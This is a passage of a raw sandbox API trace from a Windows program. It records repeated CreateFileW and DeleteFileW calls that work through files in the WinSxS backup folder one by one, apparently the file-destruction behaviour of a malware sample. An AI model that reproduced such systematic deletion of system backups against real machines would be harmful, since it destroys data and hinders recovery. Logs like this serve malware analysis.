"c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-branding-engine_31bf3856ad364e35_6.1.7600.16385_none_455eca447f151391_winbrand.dll_9cd6a3cf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.204] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-branding-engine_31bf3856ad364e35_6.1.7600.16385_none_455eca447f151391_winbrand.dll_9cd6a3cf" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-branding-engine_31bf3856ad364e35_6.1.7600.16385_none_455eca447f151391_winbrand.dll_9cd6a3cf")) returned 0 [0066.211] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-browseui_31bf3856ad364e35_6.1.7601.17514_none_8f08e721fcf5575d.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-browseui_31bf3856ad364e35_6.1.7601.17514_none_8f08e721fcf5575d.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.211] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-browseui_31bf3856ad364e35_6.1.7601.17514_none_8f08e721fcf5575d.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-browseui_31bf3856ad364e35_6.1.7601.17514_none_8f08e721fcf5575d.manifest")) returned 0 [0066.211] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-browseui_31bf3856ad364e35_6.1.7601.17514_none_8f08e721fcf5575d_browseui.dll_7a6f3790" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-browseui_31bf3856ad364e35_6.1.7601.17514_none_8f08e721fcf5575d_browseui.dll_7a6f3790"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.212] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-browseui_31bf3856ad364e35_6.1.7601.17514_none_8f08e721fcf5575d_browseui.dll_7a6f3790" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-browseui_31bf3856ad364e35_6.1.7601.17514_none_8f08e721fcf5575d_browseui.dll_7a6f3790")) returned 0 [0066.212] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-c..ermodepnp.resources_31bf3856ad364e35_6.1.7600.16385_en-us_477d5eb32bbddc05.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-c..ermodepnp.resources_31bf3856ad364e35_6.1.7600.16385_en-us_477d5eb32bbddc05.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.212] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-c..ermodepnp.resources_31bf3856ad364e35_6.1.7600.16385_en-us_477d5eb32bbddc05.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-c..ermodepnp.resources_31bf3856ad364e35_6.1.7600.16385_en-us_477d5eb32bbddc05.manifest")) returned 0 [0066.212] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-c..ermodepnp.resources_31bf3856ad364e35_6.1.7600.16385_en-us_477d5eb32bbddc05_drvinst.exe.mui_e88f4c73" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-c..ermodepnp.resources_31bf3856ad364e35_6.1.7600.16385_en-us_477d5eb32bbddc05_drvinst.exe.mui_e88f4c73"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.213] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-c..ermodepnp.resources_31bf3856ad364e35_6.1.7600.16385_en-us_477d5eb32bbddc05_drvinst.exe.mui_e88f4c73" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-c..ermodepnp.resources_31bf3856ad364e35_6.1.7600.16385_en-us_477d5eb32bbddc05_drvinst.exe.mui_e88f4c73")) returned 0 [0066.213] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-c..ermodepnp.resources_31bf3856ad364e35_6.1.7600.16385_en-us_477d5eb32bbddc05_umpnpmgr.dll.mui_d66aed17" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-c..ermodepnp.resources_31bf3856ad364e35_6.1.7600.16385_en-us_477d5eb32bbddc05_umpnpmgr.dll.mui_d66aed17"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.213] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-c..ermodepnp.resources_31bf3856ad364e35_6.1.7600.16385_en-us_477d5eb32bbddc05_umpnpmgr.dll.mui_d66aed17" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-c..ermodepnp.resources_31bf3856ad364e35_6.1.7600.16385_en-us_477d5eb32bbddc05_umpnpmgr.dll.mui_d66aed17")) returned 0 [0066.213] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-c..graphy-cryptoconfig_31bf3856ad364e35_6.1.7600.16385_none_02465417b61ba76d.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-c..graphy-cryptoconfig_31bf3856ad364e35_6.1.7600.16385_none_02465417b61ba76d.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.213] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-c..graphy-cryptoconfig_31bf3856ad364e35_6.1.7600.16385_none_02465417b61ba76d.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-c..graphy-cryptoconfig_31bf3856ad364e35_6.1.7600.16385_none_02465417b61ba76d.manifest")) returned 0 [0066.214] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-c..integrity.resources_31bf3856ad364e35_6.1.7601.18741_en-us_5737027264152cab.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-c..integrity.resources_31bf3856ad364e35_6.1.7601.18741_en-us_5737027264152cab.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.214] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-c..integrity.resources_31bf3856ad364e35_6.1.7601.18741_en-us_5737027264152cab.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-c..integrity.resources_31bf3856ad364e35_6.1.7601.18741_en-us_5737027264152cab.manifest")) returned 0 [0066.214] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-c..integrity.resources_31bf3856ad364e35_6.1.7601.18741_en-us_5737027264152cab_ci.dll.mui_76757f43" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-c..integrity.resources_31bf3856ad364e35_6.1.7601.18741_en-us_5737027264152cab_ci.dll.mui_76757f43"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.214] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-c..integrity.resources_31bf3856ad364e35_6.1.7601.18741_en-us_5737027264152cab_ci.dll.mui_76757f43" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-c..integrity.resources_31bf3856ad364e35_6.1.7601.18741_en-us_5737027264152cab_ci.dll.mui_76757f43")) returned 0 [0066.214] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-c..ityclient.resources_31bf3856ad364e35_6.1.7600.16385_en-us_c0b44891b985bfda.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-c..ityclient.resources_31bf3856ad364e35_6.1.7600.16385_en-us_c0b44891b985bfda.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.215] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-c..ityclient.resources_31bf3856ad364e35_6.1.7600.16385_en-us_c0b44891b985bfda.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-c..ityclient.resources_31bf3856ad364e35_6.1.7600.16385_en-us_c0b44891b985bfda.manifest")) returned 0 [0066.215] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-c..ityclient.resources_31bf3856ad364e35_6.1.7600.16385_en-us_c0b44891b985bfda_certcli.dll.mui_1b6822cf" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-c..ityclient.resources_31bf3856ad364e35_6.1.7600.16385_en-us_c0b44891b985bfda_certcli.dll.mui_1b6822cf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.215] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-c..ityclient.resources_31bf3856ad364e35_6.1.7600.16385_en-us_c0b44891b985bfda_certcli.dll.mui_1b6822cf" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-c..ityclient.resources_31bf3856ad364e35_6.1.7600.16385_en-us_c0b44891b985bfda_certcli.dll.mui_1b6822cf")) returned 0 [0066.215] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-c..tionauthorityclient_31bf3856ad364e35_6.1.7601.17514_none_35a3baeb53471267.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-c..tionauthorityclient_31bf3856ad364e35_6.1.7601.17514_none_35a3baeb53471267.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.216] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-c..tionauthorityclient_31bf3856ad364e35_6.1.7601.17514_none_35a3baeb53471267.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-c..tionauthorityclient_31bf3856ad364e35_6.1.7601.17514_none_35a3baeb53471267.manifest")) returned 0 [0066.216] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-c..tionauthorityclient_31bf3856ad364e35_6.1.7601.17514_none_35a3baeb53471267_certcli.dll_f553bbce" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-c..tionauthorityclient_31bf3856ad364e35_6.1.7601.17514_none_35a3baeb53471267_certcli.dll_f553bbce"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.216] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-c..tionauthorityclient_31bf3856ad364e35_6.1.7601.17514_none_35a3baeb53471267_certcli.dll_f553bbce" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-c..tionauthorityclient_31bf3856ad364e35_6.1.7601.17514_none_35a3baeb53471267_certcli.dll_f553bbce")) returned 0 [0066.222] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-c..vider-dll.resources_31bf3856ad364e35_6.1.7600.16385_en-us_06dfc9a050d64566.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-c..vider-dll.resources_31bf3856ad364e35_6.1.7600.16385_en-us_06dfc9a050d64566.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.222] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-c..vider-dll.resources_31bf3856ad364e35_6.1.7600.16385_en-us_06dfc9a050d64566.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-c..vider-dll.resources_31bf3856ad364e35_6.1.7600.16385_en-us_06dfc9a050d64566.manifest")) returned 0 [0066.223] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-c..vider-dll.resources_31bf3856ad364e35_6.1.7600.16385_en-us_06dfc9a050d64566_certcredprovider.dll.mui_b5ad161e" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-c..vider-dll.resources_31bf3856ad364e35_6.1.7600.16385_en-us_06dfc9a050d64566_certcredprovider.dll.mui_b5ad161e"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.223] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-c..vider-dll.resources_31bf3856ad364e35_6.1.7600.16385_en-us_06dfc9a050d64566_certcredprovider.dll.mui_b5ad161e" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-c..vider-dll.resources_31bf3856ad364e35_6.1.7600.16385_en-us_06dfc9a050d64566_certcredprovider.dll.mui_b5ad161e")) returned 0 [0066.223] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-cabinet_31bf3856ad364e35_6.1.7601.17514_none_9565568bf88b3e87.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-cabinet_31bf3856ad364e35_6.1.7601.17514_none_9565568bf88b3e87.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.223] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-cabinet_31bf3856ad364e35_6.1.7601.17514_none_9565568bf88b3e87.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-cabinet_31bf3856ad364e35_6.1.7601.17514_none_9565568bf88b3e87.manifest")) returned 0 [0066.223] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-cabinet_31bf3856ad364e35_6.1.7601.17514_none_9565568bf88b3e87_cabinet.dll_7ab07912" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-cabinet_31bf3856ad364e35_6.1.7601.17514_none_9565568bf88b3e87_cabinet.dll_7ab07912"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.224] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-cabinet_31bf3856ad364e35_6.1.7601.17514_none_9565568bf88b3e87_cabinet.dll_7ab07912" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-cabinet_31bf3856ad364e35_6.1.7601.17514_none_9565568bf88b3e87_cabinet.dll_7ab07912")) returned 0 [0066.224] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-capi2_31bf3856ad364e35_6.1.7600.16385_none_b4226da0fe405812.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-capi2_31bf3856ad364e35_6.1.7600.16385_none_b4226da0fe405812.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.224] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-capi2_31bf3856ad364e35_6.1.7600.16385_none_b4226da0fe405812.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-capi2_31bf3856ad364e35_6.1.7600.16385_none_b4226da0fe405812.manifest")) returned 0 [0066.224] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-cdfs_31bf3856ad364e35_6.1.7600.16385_none_025c84b636a4ef6d.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-cdfs_31bf3856ad364e35_6.1.7600.16385_none_025c84b636a4ef6d.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.224] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-cdfs_31bf3856ad364e35_6.1.7600.16385_none_025c84b636a4ef6d.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-cdfs_31bf3856ad364e35_6.1.7600.16385_none_025c84b636a4ef6d.manifest")) returned 0 [0066.225] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-cdfs_31bf3856ad364e35_6.1.7600.16385_none_025c84b636a4ef6d_cdfs.sys_02574081" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-cdfs_31bf3856ad364e35_6.1.7600.16385_none_025c84b636a4ef6d_cdfs.sys_02574081"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.225] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-cdfs_31bf3856ad364e35_6.1.7600.16385_none_025c84b636a4ef6d_cdfs.sys_02574081" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-cdfs_31bf3856ad364e35_6.1.7600.16385_none_025c84b636a4ef6d_cdfs.sys_02574081")) returned 0 [0066.225] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-cmi_31bf3856ad364e35_6.1.7601.17514_none_07f44fb7712a68da.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-cmi_31bf3856ad364e35_6.1.7601.17514_none_07f44fb7712a68da.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.225] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-cmi_31bf3856ad364e35_6.1.7601.17514_none_07f44fb7712a68da.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-cmi_31bf3856ad364e35_6.1.7601.17514_none_07f44fb7712a68da.manifest")) returned 0 [0066.225] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-cmi_31bf3856ad364e35_6.1.7601.17514_none_07f44fb7712a68da_cmisetup.dll_91548db0" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-cmi_31bf3856ad364e35_6.1.7601.17514_none_07f44fb7712a68da_cmisetup.dll_91548db0"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.226] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-cmi_31bf3856ad364e35_6.1.7601.17514_none_07f44fb7712a68da_cmisetup.dll_91548db0" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-cmi_31bf3856ad364e35_6.1.7601.17514_none_07f44fb7712a68da_cmisetup.dll_91548db0")) returned 0 [0066.226] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-cmi_31bf3856ad364e35_6.1.7601.17514_none_07f44fb7712a68da_cmiv2.dll_be06aa9f" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-cmi_31bf3856ad364e35_6.1.7601.17514_none_07f44fb7712a68da_cmiv2.dll_be06aa9f"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.226] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-cmi_31bf3856ad364e35_6.1.7601.17514_none_07f44fb7712a68da_cmiv2.dll_be06aa9f" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-cmi_31bf3856ad364e35_6.1.7601.17514_none_07f44fb7712a68da_cmiv2.dll_be06aa9f")) returned 0 [0066.226] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-cngaudit-dll_31bf3856ad364e35_6.1.7600.16385_none_4458dccc49458461.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-cngaudit-dll_31bf3856ad364e35_6.1.7600.16385_none_4458dccc49458461.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.226] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-cngaudit-dll_31bf3856ad364e35_6.1.7600.16385_none_4458dccc49458461.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-cngaudit-dll_31bf3856ad364e35_6.1.7600.16385_none_4458dccc49458461.manifest")) returned 0 [0066.226] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-cngaudit-dll_31bf3856ad364e35_6.1.7600.16385_none_4458dccc49458461_cngaudit.dll_86fb1bb1" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-cngaudit-dll_31bf3856ad364e35_6.1.7600.16385_none_4458dccc49458461_cngaudit.dll_86fb1bb1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.227] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-cngaudit-dll_31bf3856ad364e35_6.1.7600.16385_none_4458dccc49458461_cngaudit.dll_86fb1bb1" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-cngaudit-dll_31bf3856ad364e35_6.1.7600.16385_none_4458dccc49458461_cngaudit.dll_86fb1bb1")) returned 0 [0066.227] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-codeintegrity_31bf3856ad364e35_6.1.7601.18741_none_fe7a730f1b7a8a44.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-codeintegrity_31bf3856ad364e35_6.1.7601.18741_none_fe7a730f1b7a8a44.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.227] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-codeintegrity_31bf3856ad364e35_6.1.7601.18741_none_fe7a730f1b7a8a44.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-codeintegrity_31bf3856ad364e35_6.1.7601.18741_none_fe7a730f1b7a8a44.manifest")) returned 0 [0066.232] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-codeintegrity_31bf3856ad364e35_6.1.7601.18741_none_fe7a730f1b7a8a44_ci.dll_070fb998" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-codeintegrity_31bf3856ad364e35_6.1.7601.18741_none_fe7a730f1b7a8a44_ci.dll_070fb998"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.232] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-codeintegrity_31bf3856ad364e35_6.1.7601.18741_none_fe7a730f1b7a8a44_ci.dll_070fb998" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-codeintegrity_31bf3856ad364e35_6.1.7601.18741_none_fe7a730f1b7a8a44_ci.dll_070fb998")) returned 0 [0066.233] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-codeintegrity_31bf3856ad364e35_6.1.7601.18741_none_fe7a730f1b7a8a44_driver.stl_8a4e6441" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-codeintegrity_31bf3856ad364e35_6.1.7601.18741_none_fe7a730f1b7a8a44_driver.stl_8a4e6441"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.233] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-codeintegrity_31bf3856ad364e35_6.1.7601.18741_none_fe7a730f1b7a8a44_driver.stl_8a4e6441" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-codeintegrity_31bf3856ad364e35_6.1.7601.18741_none_fe7a730f1b7a8a44_driver.stl_8a4e6441")) returned 0 [0066.233] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-com-base-qfe-ole32_31bf3856ad364e35_6.1.7601.17514_none_0a43accb08f0eac5.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-com-base-qfe-ole32_31bf3856ad364e35_6.1.7601.17514_none_0a43accb08f0eac5.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.233] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-com-base-qfe-ole32_31bf3856ad364e35_6.1.7601.17514_none_0a43accb08f0eac5.manifest" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-com-base-qfe-ole32_31bf3856ad364e35_6.1.7601.17514_none_0a43accb08f0eac5.manifest")) returned 0 [0066.233] CreateFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-com-base-qfe-ole32_31bf3856ad364e35_6.1.7601.17514_none_0a43accb08f0eac5_ole32.dll_e9dcc2e3" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-com-base-qfe-ole32_31bf3856ad364e35_6.1.7601.17514_none_0a43accb08f0eac5_ole32.dll_e9dcc2e3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.234] DeleteFileW (lpFileName="\\\\?\\C:\\Windows\\winsxs\\Backup\\amd64_microsoft-windows-com-base-qfe-ole32_31bf3856ad364e35_6.1.7601.17514_none_0a43accb08f0eac5_ole32.dll_e9dcc2e3" (normalized: "c:\\windows\\winsxs\\backup\\amd64_microsoft-windows-com-base-qfe-ole32_31bf3856ad364e35_6.1.7601.17514_none_0a43accb08f0eac5_ole32.dll_e9dcc2e3")) returned 0 [0066.234] CreateFileW 